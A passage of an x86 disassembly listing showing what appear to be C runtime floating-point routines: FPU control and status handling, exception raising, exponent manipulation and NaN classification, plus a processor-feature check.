		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41C760
		test	al, bl
		jz	short loc_41C146
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41C146:				; CODE XREF: sub_41C040+FDj
		test	al, 4
		jz	short loc_41C151
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41C151:				; CODE XREF: sub_41C040+108j
		test	al, 8
		jz	short loc_41C15C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41C15C:				; CODE XREF: sub_41C040+113j
		test	al, 10h
		jz	short loc_41C166
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41C166:				; CODE XREF: sub_41C040+11Ej
		test	al, 20h
		jz	short loc_41C170
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41C170:				; CODE XREF: sub_41C040+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41C1AF
		cmp	eax, 400h
		jz	short loc_41C1A1
		cmp	eax, 800h
		jz	short loc_41C195
		cmp	eax, ecx
		jnz	short loc_41C1B5
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------


loc_41C195:				; CODE XREF: sub_41C040+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41C1AB
; ---------------------------------------------------------------------------


loc_41C1A1:				; CODE XREF: sub_41C040+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41C1AB:				; CODE XREF: sub_41C040+15Fj
		mov	[eax], ecx
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------


loc_41C1AF:				; CODE XREF: sub_41C040+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41C1B5:				; CODE XREF: sub_41C040+14Bj
					; sub_41C040+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41C1E0
		cmp	eax, 200h
		jz	short loc_41C1D3
		cmp	eax, ecx
		jnz	short loc_41C1ED
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41C1ED
; ---------------------------------------------------------------------------


loc_41C1D3:				; CODE XREF: sub_41C040+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41C1EB
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: sub_41C040+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41C1EB:				; CODE XREF: sub_41C040+19Ej
		mov	[eax], ecx


loc_41C1ED:				; CODE XREF: sub_41C040+189j
					; sub_41C040+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41C76E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2860000h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41C267
		and	dword ptr [esi], 0FFFFFFFEh


loc_41C267:				; CODE XREF: sub_41C040+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41C270
		and	dword ptr [esi], 0FFFFFFFBh


loc_41C270:				; CODE XREF: sub_41C040+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41C279
		and	dword ptr [esi], 0FFFFFFF7h


loc_41C279:				; CODE XREF: sub_41C040+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41C282
		and	dword ptr [esi], 0FFFFFFEFh


loc_41C282:				; CODE XREF: sub_41C040+23Dj
		test	[eax+8], bl
		jz	short loc_41C28A
		and	dword ptr [esi], 0FFFFFFDFh


loc_41C28A:				; CODE XREF: sub_41C040+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41C2BE
		dec	ecx
		jz	short loc_41C2B2
		dec	ecx
		jz	short loc_41C2A8
		dec	ecx
		jnz	short loc_41C2C0
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------


loc_41C2A8:				; CODE XREF: sub_41C040+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41C2BA
; ---------------------------------------------------------------------------


loc_41C2B2:				; CODE XREF: sub_41C040+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_41C2BA:				; CODE XREF: sub_41C040+270j
		mov	[esi], ecx
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------


loc_41C2BE:				; CODE XREF: sub_41C040+257j
		and	[esi], edx


loc_41C2C0:				; CODE XREF: sub_41C040+260j
					; sub_41C040+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41C2E0
		dec	ecx
		jz	short loc_41C2D7
		dec	ecx
		jnz	short loc_41C2E9
		and	[esi], edx
		jmp	short loc_41C2E9
; ---------------------------------------------------------------------------


loc_41C2D7:				; CODE XREF: sub_41C040+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41C2E7
; ---------------------------------------------------------------------------


loc_41C2E0:				; CODE XREF: sub_41C040+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_41C2E7:				; CODE XREF: sub_41C040+29Ej
		mov	[esi], ecx


loc_41C2E9:				; CODE XREF: sub_41C040+291j
					; sub_41C040+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2F3	proc near		; CODE XREF: sub_41BFA8+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41C31E
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41C31E
		push	ebx
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C31E:				; CODE XREF: sub_41C2F3+15j
					; sub_41C2F3+1Aj
		test	al, 4
		jz	short loc_41C338
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41C338
		push	4
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C338:				; CODE XREF: sub_41C2F3+2Dj
					; sub_41C2F3+33j
		test	al, bl
		jz	loc_41C412
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41C412
		push	8
		call	sub_41C7A0
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41C3EA
		cmp	ecx, 400h
		jz	short loc_41C3C2
		cmp	ecx, 800h
		jz	short loc_41C39A
		cmp	ecx, eax
		jnz	loc_41C40A
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_43B8D0
		fnstsw	ax
		sahf
		ja	short loc_41C392
		fchs


loc_41C392:				; CODE XREF: sub_41C2F3+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C39A:				; CODE XREF: sub_41C2F3+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3B2
		fld	dbl_43B8C0
		jmp	short loc_41C3BA
; ---------------------------------------------------------------------------


loc_41C3B2:				; CODE XREF: sub_41C2F3+B5j
		fld	dbl_43B8D0
		fchs


loc_41C3BA:				; CODE XREF: sub_41C2F3+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C3C2:				; CODE XREF: sub_41C2F3+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3DA
		fld	dbl_43B8D0
		jmp	short loc_41C3E2
; ---------------------------------------------------------------------------


loc_41C3DA:				; CODE XREF: sub_41C2F3+DDj
		fld	dbl_43B8C0
		fchs


loc_41C3E2:				; CODE XREF: sub_41C2F3+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C3EA:				; CODE XREF: sub_41C2F3+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_43B8C0
		fnstsw	ax
		sahf
		ja	short loc_41C402
		fchs


loc_41C402:				; CODE XREF: sub_41C2F3+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_41C408:				; CODE XREF: sub_41C2F3+A5j
					; sub_41C2F3+CDj ...
		fstp	qword ptr [ecx]


loc_41C40A:				; CODE XREF: sub_41C2F3+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C412:				; CODE XREF: sub_41C2F3+47j
					; sub_41C2F3+51j
		test	al, 2
		jz	loc_41C4E8
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41C4E8
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41C42D
		mov	esi, ebx


loc_41C42D:				; CODE XREF: sub_41C2F3+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jz	loc_41C4D6
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41C69F
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41C478
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41C4CC
; ---------------------------------------------------------------------------


loc_41C478:				; CODE XREF: sub_41C2F3+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jnb	short loc_41C48A
		mov	edx, ebx
		jmp	short loc_41C48C
; ---------------------------------------------------------------------------


loc_41C48A:				; CODE XREF: sub_41C2F3+191j
		xor	edx, edx


loc_41C48C:				; CODE XREF: sub_41C2F3+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41C4C0
		sub	eax, ecx


loc_41C4A3:				; CODE XREF: sub_41C2F3+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41C4AE
		test	esi, esi
		jnz	short loc_41C4AE
		mov	esi, ebx


loc_41C4AE:				; CODE XREF: sub_41C2F3+1B3j
					; sub_41C2F3+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41C4BA
		or	byte ptr [ebp+var_C+3],	80h


loc_41C4BA:				; CODE XREF: sub_41C2F3+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41C4A3


loc_41C4C0:				; CODE XREF: sub_41C2F3+1ACj
		test	edx, edx
		jz	short loc_41C4CC
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_41C4CC:				; CODE XREF: sub_41C2F3+183j
					; sub_41C2F3+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41C4D8
; ---------------------------------------------------------------------------


loc_41C4D6:				; CODE XREF: sub_41C2F3+14Ej
		mov	esi, ebx


loc_41C4D8:				; CODE XREF: sub_41C2F3+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41C4E5
		push	10h
		call	sub_41C7A0
		pop	ecx


loc_41C4E5:				; CODE XREF: sub_41C2F3+1E8j
		and	edi, 0FFFFFFFDh


loc_41C4E8:				; CODE XREF: sub_41C2F3+26j
					; sub_41C2F3+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41C4FF
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41C4FF
		push	20h
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_41C4FF:				; CODE XREF: sub_41C2F3+1F9j
					; sub_41C2F3+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41C2F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int)

sub_41C50A	proc near		; CODE XREF: sub_41BF55+2Bp
					; sub_41BFA8+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41C5B8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41C575
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41C77D
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42017F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C56F
		push	esi
		call	sub_41C592
		pop	ecx


loc_41C56F:				; CODE XREF: sub_41C50A+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C575:				; CODE XREF: sub_41C50A+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41C77D
		push	[ebp+arg_0]
		call	sub_41C592
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41C50A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C592	proc near		; CODE XREF: sub_41BFA8+7Dp
					; sub_41C50A+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41C5AD
		jle	short locret_41C5B7
		cmp	eax, 3
		jg	short locret_41C5B7
		mov	dword_48A014, 22h
		retn
; ---------------------------------------------------------------------------


loc_41C5AD:				; CODE XREF: sub_41C592+7j
		mov	dword_48A014, 21h

locret_41C5B7:				; CODE XREF: sub_41C592+9j
					; sub_41C592+Ej
		retn
sub_41C592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5B8	proc near		; CODE XREF: sub_41C50A+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43B7E8


loc_41C5BF:				; CODE XREF: sub_41C5B8+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41C5D5
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43B8C0
		jl	short loc_41C5BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C5D5:				; CODE XREF: sub_41C5B8+Dj
		mov	eax, off_43B7EC[ecx*8]
		retn
sub_41C5B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5DD	proc near		; CODE XREF: sub_41BFA8+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41C5E9
		push	5
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5E9:				; CODE XREF: sub_41C5DD+6j
		test	al, 8
		jz	short loc_41C5F1
		push	1
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5F1:				; CODE XREF: sub_41C5DD+Ej
		test	al, 4
		jz	short loc_41C5F9
		push	2
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5F9:				; CODE XREF: sub_41C5DD+16j
		test	al, 1
		jz	short loc_41C601
		push	3


loc_41C5FF:				; CODE XREF: sub_41C5DD+Aj
					; sub_41C5DD+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41C601:				; CODE XREF: sub_41C5DD+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41C5DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C60A(double)

sub_41C60A	proc near		; CODE XREF: sub_417CA4:loc_417D2Ap
					; sub_417DEB:loc_417E71p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41C60A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C61C(double,int)

sub_41C61C	proc near		; CODE XREF: sub_41C69F+82p
					; sub_41C69F+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41C61C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_417CA4+31p
					; sub_417DEB+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41C65C
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	1
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C65C:				; CODE XREF: sub_41C645+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41C66E
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	2
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C66E:				; CODE XREF: sub_41C645+11j
					; sub_41C645+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41C681
		push	3
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C681:				; CODE XREF: sub_41C645+36j
		cmp	cx, 7FF0h
		jnz	short loc_41C69B
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41C696
		cmp	[ebp+arg_0], edx
		jz	short loc_41C69B


loc_41C696:				; CODE XREF: sub_41C645+4Aj
		push	4


loc_41C698:				; CODE XREF: sub_41C645+15j
					; sub_41C645+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C69B:				; CODE XREF: sub_41C645+41j
					; sub_41C645+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C69F(double,int)

sub_41C69F	proc near		; CODE XREF: sub_41C2F3+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41C6BF
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41C755
; ---------------------------------------------------------------------------


loc_41C6BF:				; CODE XREF: sub_41C69F+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41C72E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41C6D7
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41C72E


loc_41C6D7:				; CODE XREF: sub_41C69F+31j
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41C6EF
		push	1
		pop	eax
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C6EF:				; CODE XREF: sub_41C69F+49j
		xor	eax, eax


loc_41C6F1:				; CODE XREF: sub_41C69F+4Ej
					; sub_41C69F+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41C70A
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41C704
		or	dword ptr [ebp+arg_0+4], 1


loc_41C704:				; CODE XREF: sub_41C69F+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C70A:				; CODE XREF: sub_41C69F+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41C718
		or	byte ptr [ebp+arg_0+7],	80h


loc_41C718:				; CODE XREF: sub_41C69F+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41C755
; ---------------------------------------------------------------------------


loc_41C72E:				; CODE XREF: sub_41C69F+28j
					; sub_41C69F+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_41C755:				; CODE XREF: sub_41C69F+1Bj
					; sub_41C69F+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41C69F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C760	proc near		; CODE XREF: sub_41C040+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C76E	proc near		; CODE XREF: sub_41C040+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C76E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C77D	proc near		; CODE XREF: sub_417CA4+13p
					; sub_417CA4+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41C77D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7A0	proc near		; CODE XREF: sub_41C2F3+1Dp
					; sub_41C2F3+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41C7B7
		fld	tbyte_43B8E8
		fistp	[ebp+arg_0]
		wait


loc_41C7B7:				; CODE XREF: sub_41C7A0+Bj
		test	cl, 8
		jz	short loc_41C7CC
		fstsw	ax
		fld	tbyte_43B8E8
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_41C7CC:				; CODE XREF: sub_41C7A0+1Aj
		test	cl, 10h
		jz	short loc_41C7DB
		fld	tbyte_43B8F4
		fstp	[ebp+var_8]
		wait


loc_41C7DB:				; CODE XREF: sub_41C7A0+2Fj
		test	cl, 4
		jz	short loc_41C7E9
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_41C7E9:				; CODE XREF: sub_41C7A0+3Ej
		test	cl, 20h
		jz	short locret_41C7F4
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41C7F4:				; CODE XREF: sub_41C7A0+4Cj
		leave
		retn
sub_41C7A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7F6	proc near		; CODE XREF: sub_417D73+Fp
		push	30000h
		push	10000h
		call	sub_4201B7
		pop	ecx
		pop	ecx
		retn
sub_41C7F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C808	proc near		; CODE XREF: sub_41C846:loc_41C86Aj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_424828
		fstp	[ebp+var_8]
		fld	dbl_424820
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4246A8
		fnstsw	ax
		sahf
		jbe	short loc_41C842
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C842:				; CODE XREF: sub_41C808+33j
		xor	eax, eax
		leave
		retn
sub_41C808	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C846	proc near		; CODE XREF: sub_417D73+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 2720D7Dh
		test	eax, eax
		jz	short loc_41C86A
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_41C86A
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_41C86A:				; CODE XREF: sub_41C846+Dj
					; sub_41C846+1Dj
		jmp	sub_41C808
sub_41C846	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C86F	proc near		; CODE XREF: sub_419E38+3CBp
					; DATA XREF: sub_417D8B+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_419101
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41C8AF


loc_41C883:				; CODE XREF: sub_41C86F+3Ej
		inc	esi
		cmp	dword_4397AC, 1
		jle	short loc_41C89C
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41C8AB
; ---------------------------------------------------------------------------


loc_41C89C:				; CODE XREF: sub_41C86F+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41C8AB:				; CODE XREF: sub_41C86F+2Bj
		test	eax, eax
		jnz	short loc_41C883


loc_41C8AF:				; CODE XREF: sub_41C86F+12j
		mov	cl, byte_4397B0
